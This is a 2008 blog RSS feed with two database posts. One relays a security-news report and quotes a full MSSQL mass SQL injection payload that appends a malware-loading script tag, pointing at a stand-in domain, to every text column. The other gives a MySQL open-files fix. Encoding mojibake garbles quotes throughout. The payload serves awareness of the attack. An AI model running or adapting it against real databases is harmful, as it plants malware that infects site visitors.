<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ourlil.com &#187; database</title>
	<atom:link href="http://OurLil.com/blog/category/database/feed/" rel="self" type="application/rss+xml" />
	<link>http://OurLil.com</link>
	<description>A web site for tutti noi (all of us!)</description>
	<lastBuildDate>Mon, 28 Nov 2011 15:23:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>TrustedSource &#8211; Blog &#8211; New SQL Injection Attack Infecting Machines</title>
		<link>http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/</link>
		<comments>http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 20:32:31 +0000</pubDate>
		<dc:creator>webmaestro</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Windoze]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[whoa!]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://clay.freedomblogging.com/2008/08/12/trustedsource-blog-new-sql-injection-attack-infecting-machines/</guid>
		<description><![CDATA[Here&#8217;s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to: DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=â€™uâ€™ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:<br />
<blockquote>DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=â€™uâ€™ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(â€™update ['+@T+'] set ['+@C +']=['+@C+']+â€â€&gt;&lt;/title&gt;&lt;script src=â€http://www.domain.com/malware/ w.jsâ€&gt;&lt;/script&gt;&lt;!â€“â€ where â€˜+@C+â€™ not like â€%â€&gt;&lt;/title&gt;&lt;script src=â€http://www.domain.com/malware/w.js â€œ&gt;&lt;/script&gt;&lt;!â€“â€â€™)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</p></blockquote>
<p><code></code>Â <a href="http://www.trustedsource.org/blog/142/New-SQL-Injection-Attack-Infecting-Machines">TrustedSource &#8211; Blog &#8211; New SQL Injection Attack Infecting Machines</a></p>
]]></content:encoded>
			<wfw:commentRss>http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Racker Hacker Â» MySQL: Errcode: 24 when using LOCK TABLES</title>
		<link>http://OurLil.com/blog/racker-hacker-%c2%bb-mysql-errcode-24-when-using-lock-tables/180/</link>
		<comments>http://OurLil.com/blog/racker-hacker-%c2%bb-mysql-errcode-24-when-using-lock-tables/180/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 23:26:01 +0000</pubDate>
		<dc:creator>webmaestro</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://clay.freedomblogging.com/2008/08/08/racker-hacker-%c2%bb-mysql-errcode-24-when-using-lock-tables/</guid>
		<description><![CDATA[Racker Hacker Â» MySQL: Errcode: 24 when using LOCK TABLES Thereâ€™s two ways to fix the problem. First, if you find that you only hit the limit during mysqldumps and never during normal database operation, just add --single-transaction to your mysqldump command line options. This will cause mysql to keep only one table open at [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://rackerhacker.com/2007/08/19/mysql-errcode-24-when-using-lock-tables/">Racker Hacker Â» MySQL: Errcode: 24 when using LOCK TABLES</a></p>
<p>Thereâ€™s two ways to fix the problem. First, if you find that you only hit the limit during mysqldumps and never during normal database operation, just add <tt>--single-transaction</tt> to your mysqldump command line options. This will cause mysql to keep only one table open at a time.</p>
<p>However, if this happens while backups arenâ€™t running, you may want to increase the open_files_limit in your MySQL configuration file. By default, the variable is set to 1,024 open files.</p>
<p>For further reading:<br />
5.2.3. System Variables<br />
7.13. mysqldump &#8211; A Database Backup Program</p>
]]></content:encoded>
			<wfw:commentRss>http://OurLil.com/blog/racker-hacker-%c2%bb-mysql-errcode-24-when-using-lock-tables/180/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

